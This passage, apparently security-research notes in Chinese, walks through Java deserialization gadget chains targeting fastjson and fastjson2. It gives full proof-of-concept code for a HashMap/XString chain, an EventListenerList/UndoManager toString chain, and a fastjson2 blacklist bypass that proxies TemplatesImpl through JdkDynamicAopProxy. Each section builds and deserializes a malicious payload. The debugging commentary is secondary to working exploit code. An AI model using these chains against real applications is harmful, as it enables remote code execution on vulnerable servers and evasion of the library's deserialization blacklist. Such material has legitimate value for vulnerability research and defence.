import com.sun.org.apache.xpath.internal.objects.XString;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
public class HashMapChain {
public static void main(String[] args) throws Exception {
TemplatesImpl tpl = Utils.getTemplatesImpl();
JSONArray jsonArray = new JSONArray();
jsonArray.add(tpl);
XString xString = new XString("xxx");
HashMap h1 = new HashMap();
HashMap h2 = new HashMap();
h1.put("zZ", jsonArray);
h1.put("yy", xString);
h2.put("zZ", xString);
h2.put("yy", jsonArray);
// HashMap<Object,Object> hashMap = new HashMap<>();
// hashMap.put(h1,h1);
// hashMap.put(h2,h2);
//
// Utils.SetValue(h2,"target",new XString("xxx"));
HashMap evilMap = makeMap(h1, h2);
String barr = Utils.Serialize(evilMap);
System.out.println(barr);
Utils.UnSerialize(barr);
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Utils.SetValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Utils.SetValue(s, "table", tbl);
return s;
}
}
EventListenerList链
https://xz.aliyun.com/news/15977
前半段链子使用 eventListenerList 触发 toString:
EventListenerList -->
UndoManager#toString() -->
Vector#toString()
然后 toString 就连上了
poc:
package com.example;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.util.Vector;
import java.util.HashMap;
public class EventListenerListChain {
public static void main(String[] args) throws Exception {
TemplatesImpl obj = Utils.getTemplatesImpl();
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) Utils.getFieldValue(undoManager, "edits");
vector.add(jsonArray);
Utils.SetValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
HashMap hashMap = new HashMap();
hashMap.put(obj,eventListenerList);
String barr = Utils.Serialize(hashMap);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}
调试
在 EventListenerList#readObject 这里下断点,可以发现是在执行 add((Class<EventListener>)Class.forName(name, true, cl), l); 后触发 exp 的

跟进 add,来到判断处

注意到这里抛出错误时把字符串和 UndoManager 的 object 拼一起了,那么会自动触发这个对象的 toString 方法,这个在 PHP 的 __toString 魔术方法里倒是很基础的一个点,同样也适用于 Java
然后这里的 l 我们明显是可控的:EventListener l = (EventListener)s.readObject();
看一下 EventListener 支持一个怎样的序列化流:
// Serialization support.
private void writeObject(ObjectOutputStream s) throws IOException {
Object[] lList = listenerList;
s.defaultWriteObject();
// Save the non-null event listeners:
for (int i = 0; i < lList.length; i+=2) {
Class<?> t = (Class)lList[i];
EventListener l = (EventListener)lList[i+1];
if ((l!=null) && (l instanceof Serializable)) {
s.writeObject(t.getName());
s.writeObject(l);
}
}
s.writeObject(null);
}
要求是一个能够强制转换为 EventListener 类型的类,并且实现 Serializable 接口
Ctrl+H 查找一下继承了 EventListener 的子类

在 UndoableEditListener 接口下找到 UndoManager,观察它的 toString 方法

两个参数均为 int 类型,看一下其父类 CompoundEdit

一个 boolean 对象和一个 Vector 对象,那么我们只能看一下 Vector 类了

跟到父类 java.util.AbstractCollection#toString

这里相关的是
StringBuilder sb = new StringBuilder();
E e = it.next();
sb.append(e == this ? "(this Collection)" : e);
看一下 StringBuilder#append

跟一下 valueOf

至此连上了,我们只需要修改 edits 连上后半部分的链子即可
FastJson 2
通杀
https://xz.aliyun.com/news/18701
和隔壁 Jackson jdk 17 的链子一个原理
在 fastjson 2.0.27 中作者引入了黑名单,对反序列化进行防御:
static boolean ignore(Class objectClass) {
if (objectClass == null) {
return true;
} else {
switch (objectClass.getName()) {
case "javassist.CtNewClass":
case "javassist.CtNewNestedClass":
case "javassist.CtClass":
case "javassist.CtConstructor":
case "javassist.CtMethod":
case "org.apache.ibatis.javassist.CtNewClass":
case "org.apache.ibatis.javassist.CtClass":
case "org.apache.ibatis.javassist.CtConstructor":
case "org.apache.ibatis.javassist.CtMethod":
case "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet":
case "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl":
case "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl":
case "org.apache.wicket.util.io.DeferredFileOutputStream":
case "org.apache.xalan.xsltc.trax.TemplatesImpl":
case "org.apache.xalan.xsltc.runtime.AbstractTranslet":
case "org.apache.xalan.xsltc.trax.TransformerFactoryImpl":
case "org.apache.commons.collections.functors.ChainedTransformer":
return true;
default:
return false;
}
}
}
直接 JdkDynamicAopProxy 代理成 Templates 就绕过了
package com.fastjson2;
import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.example.Utils;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Proxy;
import java.util.ArrayList;
public class Fastjson2Chain {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = Utils.getTemplatesImpl();
Proxy proxy = (Proxy) Utils.getBProxy(templates, new Class[]{Templates.class});
JSONArray jsonArray = new JSONArray();
jsonArray.add(proxy);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.SetValue(badAttributeValueExpException, "val", jsonArray);
ArrayList list = new ArrayList();
list.add(proxy);
list.add(badAttributeValueExpException);
// EventListenerList eventListenerList = new EventListenerList();
// UndoManager undoManager = new UndoManager();
// Vector vector = (Vector) Utils.getFieldValue(undoManager, "edits");
// vector.add(jsonArray);
// Utils.SetValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
//
// HashMap hashMap = new HashMap();
// hashMap.put(proxy,eventListenerList);
String exp = Utils.Serialize(list);
System.out.println(exp);
Utils.UnSerialize(exp);
}
}